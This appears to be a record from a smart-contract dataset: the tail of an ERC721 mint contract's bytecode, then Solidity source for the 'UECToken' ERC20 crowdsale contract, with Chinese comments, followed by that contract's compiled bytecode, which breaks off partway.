ffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60405160405180910390a45050565b8280546134db90614869565b90600052602060002090601f0160209004810192826134fd5760008555613544565b82601f1061351657803560ff1916838001178555613544565b82800160010185558215613544579182015b82811115613543578235825591602001919060010190613528565b5b5090506135519190613555565b5090565b5b8082111561356e576000816000905550600101613556565b5090565b6000613585613580846145ad565b614588565b9050828152602081018484840111156135a1576135a0614a40565b5b6135ac848285614827565b509392505050565b6000813590506135c3816150c7565b92915050565b60008083601f8401126135df576135de614a36565b5b8235905067ffffffffffffffff8111156135fc576135fb614a31565b5b60208301915083602082028301111561361857613617614a3b565b5b9250929050565b60008135905061362e816150de565b92915050565b600081519050613643816150de565b92915050565b600081359050613658816150f5565b92915050565b60008151905061366d816150f5565b92915050565b600082601f83011261368857613687614a36565b5b8135613698848260208601613572565b91505092915050565b60008083601f8401126136b7576136b6614a36565b5b8235905067ffffffffffffffff8111156136d4576136d3614a31565b5b6020830191508360018202830111156136f0576136ef614a3b565b5b9250929050565b6000813590506137068161510c565b92915050565b60008151905061371b8161510c565b92915050565b60006020828403121561373757613736614a4a565b5b6000613745848285016135b4565b91505092915050565b6000806040838503121561376557613764614a4a565b5b6000613773858286016135b4565b9250506020613784858286016135b4565b9150509250929050565b6000806000606084860312156137a7576137a6614a4a565b5b60006137b5868287016135b4565b93505060206137c6868287016135b4565b92505060406137d7868287016136f7565b9150509250925092565b600080600080608085870312156137fb576137fa614a4a565b5b6000613809878288016135b4565b945050602061381a878288016135b4565b935050604061382b878288016136f7565b925050606085013567ffffffffffffffff81111561384c5761384b614a45565b5b61385887828801613673565b91505092959194509250565b6000806040838503121561387b5761387a614a4a565b5b6000613889858286016135b4565b925050602061389a8582860161361f565b9150509250929050565b600080604083850312156138bb576138ba614a4a565b5b60006138c9858286016135b4565b92505060206138da858286016136f7565b9150509250929050565b600080602083850312156138fb576138fa614a4a565b5b600083013567ffffffffffffffff81111561391957613918614a45565b5b613925858286016135c9565b92509250509250929050565b60006020828403121561394757613946614a4a565b5b600061395584828501613634565b91505092915050565b60006020828403121561397457613973614a4a565b5b600061398284828501613649565b91505092915050565b6000602082840312156139a1576139a0614a4a565b5b60006139af8482850161365e565b91505092915050565b600080602083850312156139cf576139ce614a4a565b5b600083013567ffffffffffffffff8111156139ed576139ec614a45565b5b6139f9858286016136a1565b92509250509250929050565b600060208284031215613a1b57613a1a614a4a565b5b6000613a29848285016136f7565b91505092915050565b600060208284031215613a4857613a47614a4a565b5b6000613a568482850161370c565b91505092915050565b600080600060408486031215613a7857613a77614a4a565b5b6000613a86868287016136f7565b935050602084013567ffffffffffffffff811115613aa757613aa6614a45565b5b613ab3868287016136a1565b92509250509250925092565b6000613acb838361405a565b60208301905092915050565b613ae08161478f565b82525050565b6000613af182614603565b613afb8185614631565b9350613b06836145de565b8060005b83811015613b37578151613b1e8882613abf565b9750613b2983614624565b925050600181019050613b0a565b5085935050505092915050565b613b4d816147a1565b82525050565b6000613b5f8385614653565b9350613b6c838584614827565b82840190509392505050565b6000613b838261460e565b613b8d8185614642565b9350613b9d818560208601614836565b613ba681614a4f565b840191505092915050565b60008154613bbe81614869565b613bc88186614653565b94506001821660008114613be35760018114613bf457613c27565b60ff19831686528186019350613c27565b613bfd856145ee565b60005b83811015613c1f57815481890152600182019150602081019050613c00565b838801955050505b50505092915050565b613c3981614803565b82525050565b6000613c4a82614619565b613c54818561465e565b9350613c64818560208601614836565b613c6d81614a4f565b840191505092915050565b6000613c8382614619565b613c8d818561466f565b9350613c9d818560208601614836565b80840191505092915050565b6000613cb6600b8361465e565b9150613cc182614a60565b602082019050919050565b6000613cd960328361465e565b9150613ce482614a89565b604082019050919050565b6000613cfc60268361465e565b9150613d0782614ad8565b604082019050919050565b6000613d1f601c8361465e565b9150613d2a82614b27565b602082019050919050565b6000613d42600e8361465e565b9150613d4d82614b50565b602082019050919050565b6000613d6560248361465e565b9150613d7082614b79565b604082019050919050565b6000613d8860168361465e565b9150613d9382614bc8565b602082019050919050565b6000613dab60248361465e565b9150613db682614bf1565b604082019050919050565b6000613dce60198361465e565b9150613dd982614c40565b602082019050919050565b6000613df1602c8361465e565b9150613dfc82614c69565b604082019050919050565b6000613e1460088361465e565b9150613e1f82614cb8565b602082019050919050565b6000613e37600b8361465e565b9150613e4282614ce1565b602082019050919050565b6000613e5a60068361465e565b9150613e6582614d0a565b602082019050919050565b6000613e7d60388361465e565b9150613e8882614d33565b604082019050919050565b6000613ea0602a8361465e565b9150613eab82614d82565b604082019050919050565b6000613ec360298361465e565b9150613ece82614dd1565b604082019050919050565b6000613ee660208361465e565b9150613ef182614e20565b602082019050919050565b6000613f09602c8361465e565b9150613f1482614e49565b604082019050919050565b6000613f2c60208361465e565b9150613f3782614e98565b602082019050919050565b6000613f4f60298361465e565b9150613f5a82614ec1565b604082019050919050565b6000613f72602f8361465e565b9150613f7d82614f10565b604082019050919050565b6000613f9560218361465e565b9150613fa082614f5f565b604082019050919050565b6000613fb860218361465e565b9150613fc382614fae565b604082019050919050565b6000613fdb60128361465e565b9150613fe682614ffd565b602082019050919050565b6000613ffe60318361465e565b915061400982615026565b604082019050919050565b6000614021600a8361465e565b915061402c82615075565b602082019050919050565b600061404460108361465e565b915061404f8261509e565b602082019050919050565b614063816147f9565b82525050565b614072816147f9565b82525050565b6000614085828486613b53565b91508190509392505050565b600061409d8284613bb1565b915081905092915050565b60006140b48285613c78565b91506140c08284613c78565b91508190509392505050565b60006020820190506140e16000830184613ad7565b92915050565b60006040820190506140fc6000830185613ad7565b6141096020830184613ad7565b9392505050565b60006060820190506141256000830186613ad7565b6141326020830185613ad7565b61413f6040830184614069565b949350505050565b600060808201905061415c6000830187613ad7565b6141696020830186613ad7565b6141766040830185614069565b81810360608301526141888184613b78565b905095945050505050565b600060208201905081810360008301526141ad8184613ae6565b905092915050565b60006020820190506141ca6000830184613b44565b92915050565b60006020820190506141e56000830184613c30565b92915050565b600060208201905081810360008301526142058184613c3f565b905092915050565b6000602082019050818103600083015261422681613ca9565b9050919050565b6000602082019050818103600083015261424681613ccc565b9050919050565b6000602082019050818103600083015261426681613cef565b9050919050565b6000602082019050818103600083015261428681613d12565b9050919050565b600060208201905081810360008301526142a681613d35565b9050919050565b600060208201905081810360008301526142c681613d58565b9050919050565b600060208201905081810360008301526142e681613d7b565b9050919050565b6000602082019050818103600083015261430681613d9e565b9050919050565b6000602082019050818103600083015261432681613dc1565b9050919050565b6000602082019050818103600083015261434681613de4565b9050919050565b6000602082019050818103600083015261436681613e07565b9050919050565b6000602082019050818103600083015261438681613e2a565b9050919050565b600060208201905081810360008301526143a681613e4d565b9050919050565b600060208201905081810360008301526143c681613e70565b9050919050565b600060208201905081810360008301526143e681613e93565b9050919050565b6000602082019050818103600083015261440681613eb6565b9050919050565b6000602082019050818103600083015261442681613ed9565b9050919050565b6000602082019050818103600083015261444681613efc565b9050919050565b6000602082019050818103600083015261446681613f1f565b9050919050565b6000602082019050818103600083015261448681613f42565b9050919050565b600060208201905081810360008301526144a681613f65565b9050919050565b600060208201905081810360008301526144c681613f88565b9050919050565b600060208201905081810360008301526144e681613fab565b9050919050565b6000602082019050818103600083015261450681613fce565b9050919050565b6000602082019050818103600083015261452681613ff1565b9050919050565b6000602082019050818103600083015261454681614014565b9050919050565b6000602082019050818103600083015261456681614037565b9050919050565b60006020820190506145826000830184614069565b92915050565b60006145926145a3565b905061459e828261489b565b919050565b6000604051905090565b600067ffffffffffffffff8211156145c8576145c7614a02565b5b6145d182614a4f565b9050602081019050919050565b6000819050602082019050919050565b60008190508160005260206000209050919050565b600081519050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600081905092915050565b600082825260208201905092915050565b600081905092915050565b6000614685826147f9565b9150614690836147f9565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156146c5576146c4614946565b5b828201905092915050565b60006146db826147f9565b91506146e6836147f9565b9250826146f6576146f5614975565b5b828204905092915050565b600061470c826147f9565b9150614717836147f9565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156147505761474f614946565b5b828202905092915050565b6000614766826147f9565b9150614771836147f9565b92508282101561478457614783614946565b5b828203905092915050565b600061479a826147d9565b9050919050565b60008115159050919050565b60007fffffffff0000000000000000000000000000000000000000000000000000000082169050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600061480e82614815565b9050919050565b6000614820826147d9565b9050919050565b82818337600083830152505050565b60005b83811015614854578082015181840152602081019050614839565b83811115614863576000848401525b50505050565b6000600282049050600182168061488157607f821691505b60208210811415614895576148946149a4565b5b50919050565b6148a482614a4f565b810181811067ffffffffffffffff821117156148c3576148c2614a02565b5b80604052505050565b60006148d7826147f9565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561490a57614909614946565b5b600182019050919050565b6000614920826147f9565b915061492b836147f9565b92508261493b5761493a614975565b5b828206905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f6d696e7420636c6f736564000000000000000000000000000000000000000000600082015250565b7f4552433732313a207472616e7366657220746f206e6f6e20455243373231526560008201527f63656976657220696d706c656d656e7465720000000000000000000000000000602082015250565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f4552433732313a20746f6b656e20616c7265616479206d696e74656400000000600082015250565b7f70726573616c6520636c6f736564000000000000000000000000000000000000600082015250565b7f5452414e53414354494f4e3a20717479206f66206d696e7473206e6f7420616c60008201527f6f77656400000000000000000000000000000000000000000000000000000000602082015250565b7f5041594d454e543a20696e76616c69642076616c756500000000000000000000600082015250565b7f4552433732313a207472616e7366657220746f20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f4552433732313a20617070726f766520746f2063616c6c657200000000000000600082015250565b7f4552433732313a206f70657261746f7220717565727920666f72206e6f6e657860008201527f697374656e7420746f6b656e0000000000000000000000000000000000000000602082015250565b7f736f6c64206f7574000000000000000000000000000000000000000000000000600082015250565b7f6e6f7420616c6c6f776564000000000000000000000000000000000000000000600082015250565b7f636c6f7365640000000000000000000000000000000000000000000000000000600082015250565b7f4552433732313a20617070726f76652063616c6c6572206973206e6f74206f7760008201527f6e6572206e6f7220617070726f76656420666f7220616c6c0000000000000000602082015250565b7f4552433732313a2062616c616e636520717565727920666f7220746865207a6560008201527f726f206164647265737300000000000000000000000000000000000000000000602082015250565b7f4552433732313a206f776e657220717565727920666f72206e6f6e657869737460008201527f656e7420746f6b656e0000000000000000000000000000000000000000000000602082015250565b7f4552433732313a206d696e7420746f20746865207a65726f2061646472657373600082015250565b7f4552433732313a20617070726f76656420717565727920666f72206e6f6e657860008201527f697374656e7420746f6b656e0000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f4552433732313a207472616e73666572206f6620746f6b656e2074686174206960008201527f73206e6f74206f776e0000000000000000000000000000000000000000000000602082015250565b7f4552433732314d657461646174613a2055524920717565727920666f72206e6f60008201527f6e6578697374656e7420746f6b656e0000000000000000000000000000000000602082015250565b7f4552433732313a20617070726f76616c20746f2063757272656e74206f776e6560008201527f7200000000000000000000000000000000000000000000000000000000000000602082015250565b7f535550504c593a2056616c7565206578636565647320746f74616c537570706c60008201527f7900000000000000000000000000000000000000000000000000000000000000602082015250565b7f696e73756666696369656e742066756e64730000000000000000000000000000600082015250565b7f4552433732313a207472616e736665722063616c6c6572206973206e6f74206f60008201527f776e6572206e6f7220617070726f766564000000000000000000000000000000602082015250565b7f6d696e74206572726f7200000000000000000000000000000000000000000000600082015250565b7f6e6f7420696e2077686974656c69737400000000000000000000000000000000600082015250565b6150d08161478f565b81146150db57600080fd5b50565b6150e7816147a1565b81146150f257600080fd5b50565b6150fe816147ad565b811461510957600080fd5b50565b615115816147f9565b811461512057600080fd5b5056fea2646970667358221220169be0e4401d73951b2b19f4b7832fabaa92b42c2cba643f70c792b4b86b8e1f64736f6c63430008060033
[ 16, 5 ]
0xf3620846825ba198be14cdbc5f2b41bbff788d67
pragma solidity ^0.4.12; contract IMigrationContract { function migrate(address addr, uint256 nas) returns (bool success); } /* 灵感来自于NAS coin*/ contract SafeMath { function safeAdd(uint256 x, uint256 y) internal returns(uint256) { uint256 z = x + y; assert((z >= x) && (z >= y)); return z; } function safeSubtract(uint256 x, uint256 y) internal returns(uint256) { assert(x >= y); uint256 z = x - y; return z; } function safeMult(uint256 x, uint256 y) internal returns(uint256) { uint256 z = x * y; assert((x == 0)||(z/x == y)); return z; } } contract Token { uint256 public totalSupply; function balanceOf(address _owner) constant returns (uint256 balance); function transfer(address _to, uint256 _value) returns (bool success); function transferFrom(address _from, address _to, uint256 _value) returns (bool success); function approve(address _spender, uint256 _value) returns (bool success); function allowance(address _owner, address _spender) constant returns (uint256 remaining); event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } /* ERC 20 token */ contract StandardToken is Token { function transfer(address _to, uint256 _value) returns (bool success) { if (balances[msg.sender] >= _value && _value > 0) { balances[msg.sender] -= _value; balances[_to] += _value; Transfer(msg.sender, _to, _value); return true; } else { return false; } } function transferFrom(address _from, address _to, uint256 _value) returns (bool success) { if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0) { balances[_to] += _value; balances[_from] -= _value; allowed[_from][msg.sender] -= _value; Transfer(_from, _to, _value); return true; } else { return false; } } function balanceOf(address _owner) constant returns (uint256 balance) { return balances[_owner]; } function approve(address _spender, uint256 _value) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; } contract UECToken is StandardToken, SafeMath { // metadata string public constant name = "User Experience"; string public constant symbol = "UEC"; uint256 public constant decimals = 18; string public version = "1.0"; // contracts address public ethFundDeposit; // ETH存放地址 address public newContractAddr; // token更新地址 // crowdsale parameters bool public isFunding; // 状态切换到true uint256 public fundingStartBlock; uint256 public fundingStopBlock; uint256 public currentSupply; // 正在售卖中的tokens数量 uint256 public tokenRaised = 0; // 总的售卖数量token uint256 public tokenMigrated = 0; // 总的已经交易的 token uint256 public tokenExchangeRate = 625; // 625 BILIBILI 兑换 1 ETH // events event AllocateToken(address indexed _to, uint256 _value); // 分配的私有交易token; event IssueToken(address indexed _to, uint256 _value); // 公开发行售卖的token; event IncreaseSupply(uint256 _value); event DecreaseSupply(uint256 _value); event Migrate(address indexed _to, uint256 _value); // 转换 function formatDecimals(uint256 _value) internal returns (uint256 ) { return _value * 10 ** decimals; } // constructor function UECToken( address _ethFundDeposit, uint256 _currentSupply) { ethFundDeposit = _ethFundDeposit; isFunding = false; //通过控制预CrowdS ale状态 fundingStartBlock = 0; fundingStopBlock = 0; currentSupply = formatDecimals(_currentSupply); totalSupply = formatDecimals(10000000000); balances[msg.sender] = totalSupply; if(currentSupply > totalSupply) throw; } modifier isOwner() { require(msg.sender == ethFundDeposit); _; } /// 设置token汇率 function setTokenExchangeRate(uint256 _tokenExchangeRate) isOwner external { if (_tokenExchangeRate == 0) throw; if (_tokenExchangeRate == tokenExchangeRate) throw; tokenExchangeRate = _tokenExchangeRate; } /// @dev 超发token处理 function increaseSupply (uint256 _value) isOwner external { uint256 value = formatDecimals(_value); if (value + currentSupply > totalSupply) throw; currentSupply = safeAdd(currentSupply, value); IncreaseSupply(value); } /// @dev 被盗token处理 function decreaseSupply (uint256 _value) isOwner external { uint256 value = formatDecimals(_value); if (value + tokenRaised > currentSupply) throw; currentSupply = safeSubtract(currentSupply, value); DecreaseSupply(value); } /// 启动区块检测 异常的处理 function startFunding (uint256 _fundingStartBlock, uint256 _fundingStopBlock) isOwner external { if (isFunding) throw; if (_fundingStartBlock >= _fundingStopBlock) throw; if (block.number >= _fundingStartBlock) throw; fundingStartBlock = _fundingStartBlock; fundingStopBlock = _fundingStopBlock; isFunding = true; } /// 关闭区块异常处理 function stopFunding() isOwner external { if (!isFunding) throw; isFunding = false; } /// 开发了一个新的合同来接收token(或者更新token) function setMigrateContract(address _newContractAddr) isOwner external { if (_newContractAddr == newContractAddr) throw; newContractAddr = _newContractAddr; } /// 设置新的所有者地址 function changeOwner(address _newFundDeposit) isOwner() external { if (_newFundDeposit == address(0x0)) throw; ethFundDeposit = _newFundDeposit; } ///转移token到新的合约 function migrate() external { if(isFunding) throw; if(newContractAddr == address(0x0)) throw; uint256 tokens = balances[msg.sender]; if (tokens == 0) throw; balances[msg.sender] = 0; tokenMigrated = safeAdd(tokenMigrated, tokens); IMigrationContract newContract = IMigrationContract(newContractAddr); if (!newContract.migrate(msg.sender, tokens)) throw; Migrate(msg.sender, tokens); // log it } /// 转账ETH 到BILIBILI团队 function transferETH() isOwner external { if (this.balance == 0) throw; if (!ethFundDeposit.send(this.balance)) throw; } /// 将BILIBILI token分配到预处理地址。 function allocateToken (address _addr, uint256 _eth) isOwner external { if (_eth == 0) throw; if (_addr == address(0x0)) throw; uint256 tokens = safeMult(formatDecimals(_eth), tokenExchangeRate); if (tokens + tokenRaised > currentSupply) throw; tokenRaised = safeAdd(tokenRaised, tokens); balances[_addr] += tokens; AllocateToken(_addr, tokens); // 记录token日志 } /// 购买token function () payable { if (!isFunding) throw; if (msg.value == 0) throw; if (block.number < fundingStartBlock) throw; if (block.number > fundingStopBlock) throw; uint256 tokens = safeMult(msg.value, tokenExchangeRate); if (tokens + tokenRaised > currentSupply) throw; tokenRaised = safeAdd(tokenRaised, tokens); balances[msg.sender] += tokens; IssueToken(msg.sender, tokens); //记录日志 } }
0x606060405260043610610175576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde031461028f578063095ea7b31461031d5780630a9ffdb71461037757806313b53153146103b957806318160ddd146103e657806323b872dd1461040f57806326a2157514610488578063313ce567146104b157806332513ce5146104da5780634172d0801461052f5780634477c5da146105585780634a36df251461056d57806354fd4d50146105a65780636fe3a5671461063457806370a082311461065d578063771282f6146106aa578063775c46cd146106d35780638fd3ab80146106ff57806395d89b411461071457806398e52f9a146107a2578063a6f9dae1146107c5578063a81c3bdf146107fe578063a9059cbb14610853578063b921e163146108ad578063cb7b8673146108d0578063d648a647146108f3578063dd62ed3e1461091c578063e28d717b14610988578063ff29507d1461099d575b6000600560149054906101000a900460ff16151561019257600080fd5b60003414156101a057600080fd5b6006544310156101af57600080fd5b6007544311156101be57600080fd5b6101ca34600b546109c6565b9050600854600954820111156101df57600080fd5b6101eb600954826109f9565b60098190555080600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055503373ffffffffffffffffffffffffffffffffffffffff167f7ba26a0f068612fb882b3272004674d21fed286c2c8c795cf653044690b32db4826040518082815260200191505060405180910390a250005b341561029a57600080fd5b6102a2610a23565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156102e25780820151818401526020810190506102c7565b50505050905090810190601f16801561030f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561032857600080fd5b61035d600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610a5c565b604051808215151515815260200191505060405180910390f35b341561038257600080fd5b6103b7600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610b4e565b005b34156103c457600080fd5b6103cc610ccf565b604051808215151515815260200191505060405180910390f35b34156103f157600080fd5b6103f9610ce2565b6040518082815260200191505060405180910390f35b341561041a57600080fd5b61046e600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610ce8565b604051808215151515815260200191505060405180910390f35b341561049357600080fd5b61049b610f64565b6040518082815260200191505060405180910390f35b34156104bc57600080fd5b6104c4610f6a565b6040518082815260200191505060405180910390f35b34156104e557600080fd5b6104ed610f6f565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561053a57600080fd5b610542610f95565b6040518082815260200191505060405180910390f35b341561056357600080fd5b61056b610f9b565b005b341561057857600080fd5b6105a4600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190505061102f565b005b34156105b157600080fd5b6105b961112a565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156105f95780820151818401526020810190506105de565b50505050905090810190601f1680156106265780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561063f57600080fd5b6106476111c8565b6040518082815260200191505060405180910390f35b341561066857600080fd5b610694600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506111ce565b6040518082815260200191505060405180910390f35b34156106b557600080fd5b6106bd611217565b6040518082815260200191505060405180910390f35b34156106de57600080fd5b6106fd600480803590602001909190803590602001909190505061121d565b005b341561070a57600080fd5b6107126112dc565b005b341561071f57600080fd5b610727611537565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561076757808201518184015260208101905061074c565b50505050905090810190601f1680156107945780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156107ad57600080fd5b6107c36004808035906020019091905050611570565b005b34156107d057600080fd5b6107fc600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611639565b005b341561080957600080fd5b610811611713565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561085e57600080fd5b610893600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050611739565b604051808215151515815260200191505060405180910390f35b34156108b857600080fd5b6108ce60048080359060200190919050506118a2565b005b34156108db57600080fd5b6108f1600480803590602001909190505061196b565b005b34156108fe57600080fd5b6109066119ee565b6040518082815260200191505060405180910390f35b341561092757600080fd5b610972600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506119f4565b6040518082815260200191505060405180910390f35b341561099357600080fd5b61099b611a7b565b005b34156109a857600080fd5b6109b0611b77565b6040518082815260200191505060405180910390f35b600080828402905060008414806109e757508284828115156109e457fe5b04145b15156109ef57fe5b8091505092915050565b6000808284019050838110158015610a115750828110155b1515610a1957fe5b8091505092915050565b6040805190810160405280600f81526020017f5573657220457870657269656e6365000000000000000000000000000000000081525081565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610bac57600080fd5b6000821415610bba57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610bf457600080fd5b610c08610c0083611b7d565b600b546109c6565b905060085460095482011115610c1d57600080fd5b610c29600954826109f9565b60098190555080600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508273ffffffffffffffffffffffffffffffffffffffff167f1aee3ddc9eba03c98b273cd914e999b78162e1ddd1c022045394f635a469e105826040518082815260200191505060405180910390a2505050565b600560149054906101000a900460ff1681565b60005481565b600081600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410158015610db5575081600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410155b8015610dc15750600082115b15610f585781600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254019250508190555081600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555081600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825403925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a360019050610f5d565b600090505b9392505050565b60095481565b601281565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600b5481565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610ff757600080fd5b600560149054906101000a900460ff16151561101257600080fd5b6000600560146101000a81548160ff021916908315150217905550565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561108b57600080fd5b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156110e657600080fd5b80600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60038054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156111c05780601f10611195576101008083540402835291602001916111c0565b820191906000526020600020905b8154815290600101906020018083116111a357829003601f168201915b505050505081565b600a5481565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60085481565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561127957600080fd5b600560149054906101000a900460ff161561129357600080fd5b80821015156112a157600080fd5b81431015156112af57600080fd5b81600681905550806007819055506001600560146101000a81548160ff0219169083151502179055505050565b600080600560149054906101000a900460ff16156112f957600080fd5b600073ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16141561135557600080fd5b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054915060008214156113a557600080fd5b6000600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506113f6600a54836109f9565b600a81905550600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690508073ffffffffffffffffffffffffffffffffffffffff1663ad68ebf733846040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15156114c357600080fd5b5af115156114d057600080fd5b5050506040518051905015156114e557600080fd5b3373ffffffffffffffffffffffffffffffffffffffff167fa59785389b00cbd19745afbe8d59b28e3161395c6b1e3525861a2b0dede0b90d836040518082815260200191505060405180910390a25050565b6040805190810160405280600381526020017f554543000000000000000000000000000000000000000000000000000000000081525081565b6000600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156115ce57600080fd5b6115d782611b7d565b9050600854600954820111156115ec57600080fd5b6115f860085482611b8d565b6008819055507f9ecdebfa921d6ab8cecf7259ef30327664ad0d45d32fa3641089b00b533f2eee816040518082815260200191505060405180910390a15050565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561169557600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156116cf57600080fd5b80600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600081600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015801561178a5750600082115b156118975781600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555081600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905061189c565b600090505b92915050565b6000600460009054906101000a900473fffffffffffffffffffffffffffffffffffff